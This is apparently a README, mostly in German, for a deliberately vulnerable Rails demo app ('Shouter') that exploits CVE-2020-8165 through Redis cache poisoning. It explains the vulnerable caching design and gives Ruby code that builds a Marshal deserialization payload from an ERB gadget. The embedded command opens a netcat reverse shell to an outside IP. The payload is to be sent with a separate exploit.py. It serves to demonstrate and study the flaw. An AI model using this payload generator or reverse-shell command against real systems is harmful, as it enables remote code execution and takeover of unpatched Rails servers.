
Demonstration des CVE-2020-8165 Rails-Deserialisierungs-RCE-Exploits mit der realistischen Shouter-App, Payload-Generierung in Ruby und Redis-Cache-Poisoning.
Yet another demo of CVE-2020-8165, though in a more realistic implementation than most.
CVE-2020-8165
Eine Schwachstelle durch Deserialisierung nicht vertrauenswürdiger Daten besteht in rails < 5.2.4.3, rails < 6.0.3.1, die es einem Angreifer ermöglichen kann, benutzergestellte Objekte in MemCacheStore und RedisCacheStore zu unmarshalen, was möglicherweise zu einer RCE führt.
Die "Shouter"-App verfügt über eine Caching-Funktion in ihrem Shout-Modell, bei der optionale Bilder, die mit einem shout:string übermittelt werden, in redis zwischengespeichert und von dort anstatt aus der DB abgerufen werden. Da die anfällige Methode Rails.cache.fetch zur Interaktion mit dem Cache verwendet wird, ist diese App anfällig für CVE-2020-8165, und die Ergebnisse der RCE werden in das src-Attribut der img-Tags in der Dashboard-Route eingefügt.
Der folgende Code-Ausschnitt generiert das Payload, das Sie mit exploit.py senden müssen. Es gibt einige Nuancen beim Serialisierungsschritt, die geklärt werden müssen, um den Exploit vollständig in Python zu implementieren. Daher wird Marshal.dump in Ruby benötigt, um das genaue Payload zu generieren (vorerst).
cmd = "Thread.new{system('nc 172.17.188.169 3001 -e /bin/bash')}"
erb = ERB.allocate
erb.instance_variable_set(:@src, cmd)
erb.instance_variable_set(:@lineno, 0)
payload_raw = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result)
payload = Marshal.dump(payload_raw)
p payload